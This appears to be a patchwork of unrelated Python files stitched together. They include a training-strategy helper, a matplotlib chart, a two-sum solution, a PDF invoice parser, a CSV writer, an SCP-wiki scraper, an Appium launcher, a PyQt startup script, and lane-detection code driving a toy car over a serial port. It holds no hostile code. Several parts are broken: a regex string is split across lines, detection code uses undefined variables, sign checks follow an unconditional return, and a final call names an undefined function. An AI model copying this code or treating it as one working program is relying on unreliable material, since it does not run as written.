        AttributeError: The strategy used by trainer is not supported

    Returns:
        The number of devices used by trainer.
    """
    strategy = get_trainer_strategy(trainer)
    if not any(
        [
            isinstance(strategy, supported_strategy)
            for supported_strategy in supported_strategies
        ]
    ):
        raise AttributeError(f"Strategy {strategy} not supported.")
    else:
        if any([isinstance(strategy, tpu_strategy) for tpu_strategy in tpu_strategies]):
            return trainer.num_devices
        elif any(
            [
                isinstance(strategy, process_independent_strategy)
                for process_independent_strategy in process_independent_strategies
            ]
        ):
            return trainer.num_devices * trainer.num_nodes
        elif any(
            [
                isinstance(strategy, fully_dependent_strategy)
                for fully_dependent_strategy in fully_dependent_strategies
            ]
        ):
            return 1
        else:
            raise AttributeError(f"Strategy {strategy} not supported.")

def get_trainer_strategy(trainer: Trainer) -> Any:
    """Retrieve the strategy from a trainer.

    Args:
        trainer: The trainer.

    Returns:
        The strategy.
    """
    if pl.__version__ < "1.6.0":
        return trainer.training_type_plugin
    else:
        return trainer.strategy

def is_strategy_ddp(strategy: Any) -> bool:
    """Test if strategy is ddp.

    Args:
        strategy: The strategy.

    Returns:
        ``True`` if strategy is ddp.
    """
    return any(
        [
            isinstance(strategy, process_strategy)
            for process_strategy in process_independent_strategies
        ]
    )

def is_strategy_tpu(strategy: Any) -> bool:
    """Test if strategy is tpu.

    Args:
        strategy: The strategy.

    Returns:
        ``True`` if strategy is tpu.
    """

    return any([isinstance(strategy, tpu_strategy) for tpu_strategy in tpu_strategies])


from matplotlib import pyplot as plt
import matplotlib

font = {'family':'MicroSoft YaHei',
        'weight':'bold',
        'size':12}
matplotlib.rc("font",**font)
matplotlib.rc("font",family='MicroSoft YaHei',weight="bold",size=8)

y_1 = [1,0,1,1,2,4,3,2,3,4,4,5,6,5,4,3,3,1,1,1]
y_2 = [1,0,3,1,2,2,3,3,2,1,2,1,1,1,1,1,1,1,1,1]

x = range(11,31)

# 绘制时指定：color,linestyle,linewidth,alpha
# color='r';r红色；g绿色；b蓝色；w白色；c青色；y黄色；k黑色；
# linesytle='--'; 线条风格
# linewidth=5; 线条粗细
# alpha=0.5； 线条透明度

plt.figure(figsize=(15,7),dpi=80)

plt.plot(x,y_1,label="小红",color='k',linestyle='--',linewidth=6)
plt.plot(x,y_2,label="小兰",color='y')

_xtick_labels = ["{}岁".format(i) for i in x]
plt.xticks(x,_xtick_labels)
plt.yticks(range(0,8))

# 绘制网格,设置网格透明度（0-1）
plt.grid(alpha=0.5)

# 添加图例,以及图例的位置
plt.legend(loc="upper left")

plt.show()


class Solution:
    def twoSum(self, numbers: List[int], target: int) -> List[int]:
        left, right = 0, len(numbers)-1
        while left < right:
            cur = numbers[left] + numbers[right]

            if cur == target:
                return [left+1, right+1]
            elif cur < target:
                left += 1
            else:
                right -= 1


import pdfplumber

def get_text(source_document):
    l = []
    txt_l = []
    invoice_lines = []
    txt =""
    with pdfplumber.open(source_document) as pdf:
        for page in pdf.pages:
            text = page.extract_text()
            # table = page.extract_table()
            # tables = page.extract_tables()
            # words = page.extract_words()
            # print(words)
            # for i in words:
            #     l.append(i["text"])
            # l.extend(words)
            txt_l.extend(text.splitlines())
            # print(text.)
            # print(table)
            # print(tables)
            # print(words)

        for text_line in txt_l:
            if text_line[0]!="(":
                invoice_lines.append(text_line)

        for lines in invoice_lines:
            txt=txt+lines+"\n"

    return txt


import csv

# 작성할 'example.csv' 파일을 생성하여 변수 'f'에 저장
f = open('./example.csv', 'w', newline = '')

# CSV 파일을 작성하는 객체 변수 'wtr' 생성
wtr = csv.writer(f)

# 열 제목 작성
wtr.writerow(['이름', '나이', '언어'])

# 데이터 생성
all_name = ['길동', '철수', '영희']
all_age = [10, 20, 30]
all_language = ['파이썬', 'C', '자바']

# 각 행에 데이터 작성
for i in range(3):
    name = all_name[i]
    age = all_age[i]
    language = all_language[i]
    wtr.writerow([name, age, language])

# 파일 닫기
f.close()


import re

import requests
from bs4 import BeautifulSoup

from enums import ProjCat
from exts import redis

from .errors import InvalidSource, UnableToFetchTitle

CN_SITE_URL = 'http://scp-wiki-cn.wikidot.com'

def fetch_web(url):
    web_page = redis.get(url)
    if not web_page:
        web_page = requests.get(f'{CN_SITE_URL}/{url}').text
        redis[url] = web_page
        redis.pexpire(url, ex=180)
    soup = BeautifulSoup(web_page, 'lxml')
    return soup.find('div', {'id': 'main-content'})

def fetch_title_by_url(url):
    web = fetch_web(url)
    title_e = web.find('div', {'id': 'page-title'})
    return title_e.text.strip()

def fetch_title_by_id(url, id_):
    web = fetch_web(url)
    try:
        title_e = web.find_all(name='a', text=f'SCP-{id_}', limit=1)[0]
        if not title_e:
            raise UnableToFetchTitle()
        return str(title_e.parent)
    except IndexError:
        raise UnableToFetchTitle()

def build_basic_info(base, cat):
    if cat is not ProjCat.normal:
        title = base
        source = base
    elif base[0] == '/':
        source = base
        title = fetch_title_by_url(base)
    else:
        base = re.match(r'^(?:scp-)?(.*)$', base.lower()).group(1)
        source = f'/scp-{base}'
        title = f'SCP-{base}'.upper()
        primary = re.match(r'^(?:cn-)?([0-9]{3,4})((?:-j)|(?:-ex))?$', base)
        if primary:
            # SCP-000 SCP-000-J SCP-000-EX
            # SCP-CN-000 SCP-CN-000-J SCP-CN-000-EX
            page = 1
            if '-j' in base:
                url_ = 'joke-scps'
            elif '-ex' in base:
                url_ = 'scp-ex'
            else:
                page = int(primary.group(1)) // 1000 + 1
                url_ = 'scp-series'
            url_ += '-cn' if 'cn-' in base else ''
            url_ += f'-{page}/' if page != 1 else '/'
        elif re.match(r'^[0-9]{3,4}-jp(?:-j)?$', base):
            url_ = 'scp-international/'
        else:
            raise InvalidSource()
        raw_title = re.match('^
(.*)
$',
                             fetch_title_by_id(url_, base.upper()))
        title += raw_title.group(1)
    return title, source

def count_chars(text):
    text = re.sub(r'█', 'x', text.lower())
    text = re.sub(r'x  (x  )*x', 'xx', re.sub(r'[0-9a-z-]', ' x ', text))
    text = re.sub(r'(?![\u4e00-\u9fa5]|[0-9a-z-]).', ' ', text)
    str_list = re.sub(r'\s+', ' ', text).split(' ')
    count = 0
    for elem in str_list:
        if 'x' in elem:
            count += 1
        else:
            count += len(elem)
    return count

def build_complexity_info(proj):
    if proj.source[0] != '/':
        wc = 0
    else:
        web = fetch_web(proj.source)
        page_content = web.find('div', {'id': 'page-content'})
        wc = count_chars(page_content.text)
    return {'al': {}, 'cl': {}, 'wc': wc, 'vl': 0}


import yaml
from appium import webdriver
from page.base_page import BasePage
from page.main import Main

class App(BasePage):
    _package = "com.xueqiu.android"
    _activity = ".view.WelcomeActivityAlias"

    def start(self):
        """
        复用driver，当driver为None时初始化driver；
        当driver不为None时直接启动activity
        :return:
        """
        if self._driver is None:
            caps = dict()
            caps["platformName"] = "android"
            caps["deviceName"] = "Insane"
            caps["appPackage"] = self._package
            caps["appActivity"] = self._activity
            caps["noReset"] = True
            caps["udid"] = yaml.safe_load(open("../page/configuration.yaml"))["caps"]["udid"]
            # 初始化driver
            self._driver = webdriver.Remote("http://127.0.0.1:4723/wd/hub", caps)
        else:
            self._driver.start_activity(app_package=self._package, app_activity=self._activity)
        self._driver.implicitly_wait(3)
        return self

    def main(self) -> Main:
        return Main(self._driver)


from PyQt5.QtWidgets import QApplication
from services.QueriesService import QueriesService
from windows.MainWindow import MainWindow

def exec_sql_initial():
    service = QueriesService()
    service.run_sql_initial()
    service.get_configuration_smartband()

exec_sql_initial()
app = QApplication([])
main_window = MainWindow()
main_window.show()
app.exec_()


#!/usr/bin/env python
# coding: utf-8
#保持直行
# In[ ]:

import cv2 as cv
import numpy as np
import time
import json

#识别标识的依赖
import os
import sys
import cv2 as cv
import time
import ctypes
import numpy as np
import bwtricar
import pycuda.autoinit
import pycuda.driver as cuda
import matplotlib.pyplot as plt

import aicar
import uff
import tensorrt as trt
import graphsurgeon as gs
from config import model_ssd_mobilenet_v1_aicar as model

######################
plt.rcParams['figure.dpi'] = 120 #分辨率
cap=cv.VideoCapture(0)
maxWidth = 640
maxHeight = 480
cap.set(3,maxWidth)
cap.set(4,maxHeight)
ctypes.CDLL("lib/libflattenconcat.so")
COCO_LABELS = aicar.COCO_CLASSES_LIST
# initialize
TRT_LOGGER = trt.Logger(trt.Logger.INFO)
trt.init_libnvinfer_plugins(TRT_LOGGER, '')
runtime = trt.Runtime(TRT_LOGGER)
# create engine
with open(model.TRTbin, 'rb') as f:
    buf = f.read()
    engine = runtime.deserialize_cuda_engine(buf)
host_inputs  = []
cuda_inputs  = []
host_outputs = []
cuda_outputs = []
bindings = []
stream = cuda.Stream()

for binding in engine:
    size = trt.volume(engine.get_binding_shape(binding)) * engine.max_batch_size
    host_mem = cuda.pagelocked_empty(size, np.float32)
    cuda_mem = cuda.mem_alloc(host_mem.nbytes)

    bindings.append(int(cuda_mem))
    if engine.binding_is_input(binding):
        host_inputs.append(host_mem)
        cuda_inputs.append(cuda_mem)
    else:
        host_outputs.append(host_mem)
        cuda_outputs.append(cuda_mem)
context = engine.create_execution_context()

def detectObject(image):
    ori = image
    image = cv.resize(ori, (model.dims[2],model.dims[1]))
    image = (2.0/255.0) * image - 1.0
    image = image.transpose((2, 0, 1))
    np.copyto(host_inputs[0], image.ravel())
    cuda.memcpy_htod_async(cuda_inputs[0], host_inputs[0], stream)
    context.execute_async(bindings=bindings, stream_handle=stream.handle)
    cuda.memcpy_dtoh_async(host_outputs[1], cuda_outputs[1], stream)
    cuda.memcpy_dtoh_async(host_outputs[0], cuda_outputs[0], stream)
    stream.synchronize()
    output = host_outputs[0]
    height, width, channels = ori.shape
    retObj = []
    for i in range(int(len(output)/model.layout)):
        prefix = i*model.layout
        index = int(output[prefix+0])
        label = int(output[prefix+1])
        conf  = output[prefix+2]
        lx  = int(output[prefix+3]*width)
        ly  = int(output[prefix+4]*height)
        ux  = int(output[prefix+5]*width)
        uy  = int(output[prefix+6]*height)
        if(conf > 0.7):
            thisObj = {
                'box':[[xmin,ymin],[xmax,ymax]],
                'label':COCO_LABELS[label],
                'score':conf
            }
            retObj.append(thisObj)

            cv.rectangle(ori, (xmin,ymin), (xmax, ymax), (0,0,255),3)
            cv.putText(ori, COCO_LABELS[label],(xmin+10,ymin+10), cv.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2, cv.LINE_AA)
    return retObj

##############################
# In[ ]:

from periphery import Serial

# In[ ]:

def displayImg(name, ori, imgType = 'rgb'):
    displayImg = ori
    if(imgType == 'rgb'):
        displayImg = cv.cvtColor(ori, cv.COLOR_RGB2BGR)
    #cv.imshow(name, displayImg)
    #cv.waitKey(1)

# In[ ]:

#识别标识
def detectTrafficSign(image):
    ori = image
    image = cv.resize(ori, (model.dims[2],model.dims[1]))
    image = (2.0/255.0) * image - 1.0
    image = image.transpose((2, 0, 1))
    np.copyto(host_inputs[0], image.ravel())
    cuda.memcpy_htod_async(cuda_inputs[0], host_inputs[0], stream)
    context.execute_async(bindings=bindings, stream_handle=stream.handle)
    cuda.memcpy_dtoh_async(host_outputs[1], cuda_outputs[1], stream)
    cuda.memcpy_dtoh_async(host_outputs[0], cuda_outputs[0], stream)
    stream.synchronize()
    output = host_outputs[0]
    height, width, channels = ori.shape
    retObj = []
    for i in range(int(len(output)/model.layout)):
        prefix = i*model.layout
        index = int(output[prefix+0])
        label = int(output[prefix+1])
        conf  = output[prefix+2]
        lx  = int(output[prefix+3]*width)
        ly  = int(output[prefix+4]*height)
        ux  = int(output[prefix+5]*width)
        uy  = int(output[prefix+6]*height)
        if(conf > 0.7):
            thisObj = {
                'box':[[xmin,ymin],[xmax,ymax]],
                'label':COCO_LABELS[label],
                'score':conf
            }
            retObj.append(thisObj)

            cv.rectangle(ori, (xmin,ymin), (xmax, ymax), (0,0,255),3)
            cv.putText(ori, COCO_LABELS[label],(xmin+10,ymin+10), cv.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2, cv.LINE_AA)
    return retObj

def detectLane(rgbImg, roiPoints = None):
    # Global variable
    maxHeight = rgbImg.shape[0]
    maxWidth = rgbImg.shape[1]
    kernel = np.ones((5, 5), np.uint8)

    displayImg('rgbImg', rgbImg)

    # 11 55
    lowerYellow = np.array([11, threshold1, threshold2])
    upperYellow = np.array([35, 255, 255])

    lowerWhite = np.array([0, 0, 255-threshold3])
    upperWhite = np.array([255, threshold3, 255])

    # Init
    hsvImg = cv.cvtColor(rgbImg, cv.COLOR_RGB2HSV)

    # Color spilt
    maskYellow = cv.inRange(hsvImg, lowerYellow, upperYellow)
    maskYellow = cv.morphologyEx(maskYellow, cv.MORPH_OPEN, kernel)

    displayImg('maskYellow', maskYellow, 'gray')

    maskWhite = cv.inRange(hsvImg, lowerWhite, upperWhite)
    maskWhite = cv.morphologyEx(maskWhite, cv.MORPH_OPEN, kernel)

    displayImg('maskWhite', maskWhite, 'gray')

    # ROI area
    if(type(roiPoints) == type(None)):
        roiPoints = defaultRoiPoints

    roiMask = np.zeros((maxHeight, maxWidth), np.uint8)
    cv.fillPoly(roiMask, [roiPoints], (255, 0, 0))

    displayImg('roiMask', roiMask, 'gray')

    needQuickly = False

    # Yellow line
    maskYellow = cv.bitwise_and(maskYellow, roiMask)
    yellowLineEdges = cv.Canny(maskYellow, 20, 60)

    # displayImg('yellowLineEdges', yellowLineEdges, 'gray')

    yellowLines = cv.HoughLinesP(yellowLineEdges, 4, np.pi/180, 30,minLineLength=40, maxLineGap=180)

    yellowBottomX = -1
    if type(yellowLines) != type(None):
        yellowKAvg = 0

        cnt = 0
        for line in yellowLines:
            x1, y1, x2, y2 = line[0]
            if(x2 != x1):
                yellowKAvg += 1.0 * (y2-y1) / (x2-x1)
                cnt += 1
        if(cnt != 0):
            yellowKAvg /= cnt

            if(abs(yellowKAvg) < 0.55):
                needQuickly = True

            _, yellowLineContours, _ = cv.findContours(yellowLineEdges, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)
            yellowMID = 0
            yellowMA = 0
            for i in range(len(yellowLineContours)):
                tmp = cv.contourArea(yellowLineContours[i])
                if(tmp > yellowMA):
                    yellowMA = tmp
                    yellowMID = i

            yellowM = cv.moments(yellowLineContours[i])
            yellowBottomX = 1
            if(yellowM['m00']!=0):
                yellowCX = int(yellowM['m10']/yellowM['m00'])
                yellowCY = int(yellowM['m01']/yellowM['m00'])
                yellowB = yellowCY - yellowKAvg * yellowCX

                if((maxHeight - yellowB) / yellowKAvg != float("inf")):
                    yellowBottomX = (int)((maxHeight - yellowB) / yellowKAvg)

    # White line
    maskWhite = cv.bitwise_and(maskWhite, roiMask)
    whiteLineEdges = cv.Canny(maskWhite, 20, 60)

    # displayImg('whiteLineEdges', whiteLineEdges, 'gray')

    whiteLines = cv.HoughLinesP(whiteLineEdges, 4, np.pi/180, 30,minLineLength=40, maxLineGap=180)

    whiteBottomX = -1
    if type(whiteLines) != type(None):

        whiteKAvg = 0

        cnt = 0
        for line in whiteLines:
            x1, y1, x2, y2 = line[0]
            if(x2 != x1):
                whiteKAvg += 1.0 * (y2-y1) / (x2-x1)
                cnt += 1
        if(cnt != 0):
            whiteKAvg /= cnt

            if(abs(whiteKAvg) < 0.55):
                needQuickly = True

            _, whiteLineContours, _ = cv.findContours(whiteLineEdges, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)
            whiteMID = 0
            whiteMA = 0
            for i in range(len(whiteLineContours)):
                tmp = cv.contourArea(whiteLineContours[i])
                if(tmp > whiteMA):
                    whiteMA = tmp
                    whiteMID = i

            whiteM = cv.moments(whiteLineContours[i])
            whiteBottomX = 1
            if(whiteM['m00']!=0):
                whiteCX = int(whiteM['m10']/whiteM['m00'])
                whiteCY = int(whiteM['m01']/whiteM['m00'])
                whiteB = whiteCY - whiteKAvg * whiteCX

                if((maxHeight - whiteB) / whiteKAvg != float("inf")):
                    whiteBottomX = (int)((maxHeight - whiteB) / whiteKAvg)

    debugImg = cv.bitwise_or(maskYellow, maskWhite)
    displayImg('debugImg', debugImg, 'gray')

    # turn left
    if(yellowBottomX == -1 and whiteBottomX != -1):
        if(needQuickly):
            return 'leftQuickly'
        else:
            return 'left'

    # turn right
    if(yellowBottomX != -1 and whiteBottomX == -1):
        if(needQuickly):
            return 'rightQuickly'
        else:
            return 'right'

    # go straight
    return 'straight'

    #speedup
    if detectTrafficSign(rgbImg) == 'limit80':
        return 'speedup'
    else:
        return 'straight'

    #slowdown
    if detectTrafficSign(rgbImg) == 'limit40':
        return 'slowdown'
    else:
        return 'straight'

# In[ ]:

delayTIme = 0.1

# Image
maxHeight = 480
maxWidth = 640

# light
blight = 1.3
bweight = 25

# color
threshold1 = 80
threshold2 = 80
threshold3 = 70

# default ROI
defaultRoiPoints = np.array([[maxWidth / 2 - maxWidth * 3 / 8, maxHeight],
                              [maxWidth / 2  + maxWidth * 3 / 8, maxHeight],
                              [maxWidth / 2 + maxWidth / 8, maxHeight / 2 - maxHeight / 7],
                              [maxWidth / 2 - maxWidth / 8, maxHeight / 2 - maxHeight / 7]], np.int32)

# In[ ]:

# Serial
currentTime = time.time()
serial = Serial('/dev/ttyTHS1', 115200)
commandJson = {'o':1, 'v': 0, 'c':0, 'd':0, 'r':0, 'a':0}

# In[ ]:

cap = cv.VideoCapture(0)
cap.set(3,maxWidth)
cap.set(4,maxHeight)

# In[ ]:

def controlTricar(command):
    global currentTime
    global commandJson

    if(command == 'left'):
        commandJson['o'] = 0
        commandJson['v'] = 29
        commandJson['c'] = 0
        commandJson['d'] = 0
        commandJson['r'] = 10000
        commandJson['a'] = 0
    elif(command == 'leftQuickly'):
        commandJson['o'] = 0
        commandJson['v'] = 10
        commandJson['c'] = 0
        commandJson['d'] = 0
        commandJson['r'] = 7000
        commandJson['a'] = 0
    elif(command == 'right'):
        commandJson['o'] = 0
        commandJson['v'] = 29
        commandJson['c'] = 0
        commandJson['d'] = 1
        commandJson['r'] = 10000
        commandJson['a'] = 0
    elif(command == 'rightQuickly'):
        commandJson['o'] = 0
        commandJson['v'] = 10
        commandJson['c'] = 0
        commandJson['d'] = 1
        commandJson['r'] = 7000
        commandJson['a'] = 0
    elif(command == 'straight'):
        commandJson['o'] = 0
        commandJson['v'] = 35
        commandJson['c'] = 0
        commandJson['d'] = 0
        commandJson['r'] = 0
        commandJson['a'] = 0
    elif(command == 'stop'):
        commandJson['o'] = 0
        commandJson['v'] = 0
        commandJson['c'] = 0
        commandJson['d'] = 0
        commandJson['r'] = 0
        commandJson['a'] = 0
    elif(command == 'turnaround'):
        commandJson['o'] = 0
        commandJson['v'] = 0
        commandJson['c'] = 0
        commandJson['d'] = 1
        commandJson['r'] = 1000
        commandJson['a'] = 180
    elif(command == 'speedup'):
        commandJson['o'] = 0
        commandJson['v'] = 60
        commandJson['c'] = 0
        commandJson['d'] = 0
        commandJson['r'] = 0
        commandJson['a'] = 0
    elif(command == 'slowdown'):
        commandJson['o'] = 0
        commandJson['v'] = 10
        commandJson['c'] = 0
        commandJson['d'] = 0
        commandJson['r'] = 0
        commandJson['a'] = 0

# In[ ]:

def sendCommand():
    serial.write( bytes(json.dumps(commandJson), encoding = "utf8"))

# In[ ]:

def gogogo():
    global currentTime

    while 1:
        # Auto send commdand with none stop
        if(time.time() - currentTime > delayTIme):
            sendCommand()
            currentTime = time.time()

        ret,laneFrame=cap.read()

        if(ret):
            laneFrame = (laneFrame.astype(np.float32) * blight + bweight)
            laneFrame[laneFrame > 255] = 255
            laneFrame = laneFrame.astype(np.uint8)

            laneImage = cv.cvtColor(laneFrame, cv.COLOR_BGR2RGB)
            lineCommand = detectLane(laneImage)
            controlTricar(lineCommand)

# In[ ]:

print('准备开车')
gogogo()

# In[ ]:

controlCar('stop')
sendCommand()